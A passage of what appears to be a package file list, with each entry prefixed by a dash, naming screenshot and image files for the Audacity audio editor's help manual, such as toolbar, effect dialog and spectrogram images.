-%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/67/ex1b_long_after_nomove.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/67/moveselectionwithtrackson_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/67/set_clip.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/67/spectrum_60hz_notched_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/67/transport_recordingmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/67/vs_spectrogram_context_menu_simple_mode.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/68/04_cut_paste_paste_into_shorter_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/68/ex1c_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/68/failed_to_open_database_file.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/68/spectrogramview_05.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/68/spectrogramview_10a.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/68/startmonitoring_w7_210.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/69/editmenuclipboundaries_detach_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/69/high_pass_filter_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/69/selection_toolbar_zeroed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6b/click_at_start.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6b/crossfade_trimmed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6b/uca202.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6c/mixertoolbarannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6c/scrub_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6c/stopicon.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6d/amplify.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6d/debug_report.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6d/mac_earbuds.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6d/set_project.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6d/splitting_and_joining_stereo_tracks_03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6e/bell.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6e/scrubbing_using_the_scrub_ruler.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6e/sndaudacityspectrogram.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6e/toolstoolbarzoom.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6e/tutorial3envelope.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6f/analyze_menu_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6f/sltg_edits_7.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6f/spectral_02a.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6f/spectraleditshelves200hz10000hz_20.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6f/stereo_track_example_220.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/6/6f/time_track_range_dialog_lower_limit_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/70/distortion_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/70/export_opus_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/70/get_info.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/70/rollup.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/70/spectrogramview_10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/70/zoomoutcursor.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/71/label_sounds_types.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/71/labelregionmove1before_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/72/play_at_speedtoolbarannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/72/record_new_track.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/72/select_spectralmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/73/03_cut_paste_paste_into_a_longer_selection_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/73/audio_setup_recording_channels.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/73/filter_curve_eq_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/73/labeltrackafterpaste_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/73/manage_macros_3_0_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/73/metadata_tags_editor_with_off_setting.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/73/selecting_audio_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/74/editmenuclipboundaries_split_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/74/export_aac_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/74/label_menu_delete_highlighted.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/75/sltg_edits_15.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/75/sltg_stretching_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/76/audio_stereo_1_8_small.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/76/crashrecovery_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/76/export_ac3_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/76/imacsoundports.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/76/silence.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/76/toolstoolbarenvelope.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/77/extra_toolsmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/78/devicetoolbarmac01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/78/ex2b_afterexpand.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/78/export2old.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/78/sltg_edits_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/78/spectral_selection_toolbar_green_boxed_2_4_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/78/wahwah_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/78/xlr_conn_small.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/79/spectraledit_05.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/79/tracksmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/79/zoomtoggle.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7a/adjustable_fades_simple_curves.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7a/label_track_220.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7a/recording_toolbar_in_use.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7a/sltg_stretching_4.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7b/sltg_edits_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7c/07_cut_paste_paste_into_new_track_at_a_specified_start_time.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7c/dtmf_tones_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7c/editmenulabeledaudio_splitcut_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7c/playback_toolbar_in_use_clipped_signal.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7d/effect_audacitymenu_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7d/labeltrack9.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7d/removing_labels_without_moving_back_any_following_labels_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7d/showclipping02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7e/amplify_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7e/loop_play.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7e/radioselected.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7e/selecting_audio_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7f/draw.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7f/time_track_example.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/7/7f/windows_sound_management_dialog_60percent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/80/ex2a_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/80/file_importmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/80/measure_rms.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/80/multi_tool_envelope_04.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/80/openingdocsmac.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/80/sndaudacitywave.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/80/tremolo_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/81/classic_filters_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/81/playcutpreview5.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/81/punch_and_roll_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/81/time_track_vertical_scale_context_menu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/82/moving_a_colored_clip_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/82/toolstoolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/83/editmenulabels_addlabel_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/83/spectraleditmultihp500.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/83/zoom5.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/84/clicky_example_spectrogram_view_click_labelled.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/84/editmenulabeledaudio_ex1_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/84/gtrackearbuds.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/84/latencymonomac_206_snapto.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/84/marking_song_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/84/sltg_edits_5.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/85/checkboxchecked.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/85/equal_power_cross_fade.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/85/spectraledit_04.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/85/waveform_sample_formats.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/86/import_settings_for_importing_malformed_mp3_files.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/86/select_tracksmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/88/alignendtoend_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/88/audacity_logo_signika_512_transparent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/88/time_track_220.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/89/removing_labels_together_with_their_associated_audio_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/89/selectmenuclipboundaries_initialselection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/89/tracksync.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/89/warning_low_disk_space_at_startup.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8a/audio_track_dropdown_menu_2_4_0_mult_view_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8a/timer_record_w10_setup_dialog_with_save_and_export.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8b/undo.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8b/warning_mix_custom_down_to_one_exported_file.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8c/audacity_logo_whitebg.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8c/copy.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8c/ex2a_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8c/multi_tool_zoom_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8c/tcp_and_vs_note_track_with_select_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8c/warning_dialog_there_is_not_enough_room_to_paste_the_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8e/menubar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8e/spectral_edit_parametric_eq.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8f/cut.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8f/edit_audio_clips_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8f/equal_power_envelope.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8f/labelregionmove2before_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8f/rms_playback_meter_in_action_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8f/status_bar_grab_handle_ringed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/8/8f/zoom3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/90/custom_ffmpeg_format_options_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/90/play.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/90/xfade_example_3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/92/draw_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/92/file_exportmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/92/hostwin7basic.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/92/manageeffectmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/92/move_cursor_to_selection_start_pre.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/93/timeline05.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/94/effect_nyquistmenu_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/94/preferences_import_export.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/94/set_label.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/95/07_cut_paste_paste_into_new_track_add_new_track_make_the_selection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/95/pointexpandbefore_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/96/eq_xml_to_txt_converter.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/96/scrub_button_60.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/96/zoom.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/97/change_tempo_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/97/editmenulabeledaudio_detach_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/97/seek_icon_naked_80.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/98/a_pair_of_clips.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/98/dragbetweentracksstereo.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/98/select_jack_recording_input.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/98/tcp_vs_and_stereo_track.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/98/tone_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/99/edit_remove_special_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/99/file_save_projectmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/99/sltg_edits_8.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9a/labeltrack4.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9a/pointmovebefore_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9a/silence_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9a/spectrogramview_03a.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9c/editmenuclipboundaries_split_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9c/extra_trackmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9c/history_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9c/preferences_effects.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9c/sample_data_export_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9c/trackdropdownmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9c/unsuitable_fat_drive_for_open.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9c/waveform.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9d/mono_comparison_220.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9d/vst_effect_settings.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9e/08_selection_with_zero_crossings.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9e/alignendtoend_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9e/multi_tool_draw_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9e/noise_gate.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9e/paste.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9e/regionadjustafter_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9e/selectiontoolbarannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9e/tutorial3cough.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9f/spectral_03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/9/9f/time_track_dropdown_menu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a0/labeltrack8.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a0/rms_recording_meter_in_action_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a0/spectrogramview_12.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a0/time_track_range_dialog_upper_limit_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a1/clicky_example_spectrogram_view.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a1/crossfade_clips_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a1/move_cursor_to_track_start_post.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a1/preferences_warnings.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a1/seek_button_60.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a1/splitting_and_joining_stereo_tracks_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a1/unsuitable_fat_drive_for_save.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a2/export_external_program_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a2/regionmovebefore_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a2/shurex2u.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a2/tools_apply_macromenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a3/editmenulabeledaudio_detach_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a3/labeltrack0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a3/splitting_and_joining_stereo_tracks_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a3/track_solo_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a5/latencycorrection_220_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a5/message.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a5/move_cursor_to_selection_end_post.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a5/spectraleditparametric2000hz_10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a6/device_toolbar_usb_recording.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a6/error_saving_project_disk_full.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a6/keyboard_key.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a6/tracks_align_tracksmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a7/extra_scriptables_imenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a7/track_collapse_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a8/checkboxnotchecked.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a8/errorexporting.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a8/sliding_stretch_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a8/speaker.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a9/dither_in_quality_preferences.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a9/export_wma_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a9/scrubtoolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a9/trackdropdown.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/a9/tracks_panmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/aa/edittoolbarannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/aa/help.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/aa/play_at_speed_toolbar_playback_speed_dialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ab/editmenulabeledaudio_join_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ab/removing_labels_moving_back_any_following_labels_after2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ab/save_project2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ab/selecting_audio_03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ab/zoom2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ac/editmenuclipboundaries_join_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ac/pastetexttonewlabel_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ac/tutorial3labelsinplace.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ad/ex2b_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ad/samsongtrackconnections.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ad/timeshift.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ae/moveselectionwithtracksoff_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ae/time_toolbar_resized_and_relocated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ae/track_select_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/ae/trackgain.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/af/bass_and_treble_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/af/scrub_ruler_button_60.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/a/af/xfade_example_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b0/a_small_image_of_an_envelope.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b0/fade_in.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b0/label_menu_delete_full_track.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b0/making_a_fade_shape.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b0/pluck_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b0/punch_and_roll_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b0/select_setup_language_w7basic.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b1/w10_system_tray_speaker_icon_highlighted.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b2/repeated_fade_out.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b2/xfade_example_4.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b3/audio_setup_toolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b3/preferences_libraries_not_found_w10_lame_built_in.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b3/selection_toolbar_length_selected.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b3/spectrogram_track_settings.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b3/unsuitable_fat_drive_for_export.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b4/crossfade_tracks_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b4/rcaministereo.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b4/sltg_edits_4.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b4/toolstoolbaribeam.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b5/delay_demo_plug_in.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b5/envelope3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b5/icon_faq.gif -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b5/label_sounds_min_interval.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b5/vertical_scale_waveform_context_menu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b6/move_cursor_to_selection_start_post.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b6/select_button_in_tcp.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b7/a_small_image_of_sync_lock.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b7/multi_view_mono_default_50_50.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b7/plot_spectrum.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b7/preferences_tracks.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b7/selectmenuclipboundaries_prevtocursor_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b8/clip_handle_detail.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b8/prejoinsmall.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b8/recording_for_a_specific_length_of_time_completed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b8/spectraleditshelveshigh5000hz_20.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b9/audio_setup_playback_device.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b9/editmenuclipboundaries_join_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/b9/windows_control_panel_75percent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/ba/effect_ladspamenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/ba/silence_finder_six_songs_shown.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/ba/vocoder_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/ba/warningicon.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bb/channelswin7basic.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bb/get_preference.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bb/head_button_context_menu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bb/multi_tool_selecting_with_cursor.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bb/pasteintoclip_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bb/reference_search.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bb/stereomini_loopback.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bc/editmenulabeledaudio_ex2_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bc/export_multiple_progress_dialog_partial_completion.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bc/ladspa_effect_settings.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bc/multi_view_click_drag_cursor_highlighted.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bc/preferences_directories.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bc/spectrogramview_15.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bd/editlabeldialog_vertical_buttons.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bd/editmenuremovespecial_splitdelete_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bd/extra_focusmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bd/file_error_disk_full.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bd/recording_for_a_specific_length_of_time.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bd/topdockannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bd/tracks_add_newmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/be/erremptyprojectdetail.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/be/exportmultipleexample01.png 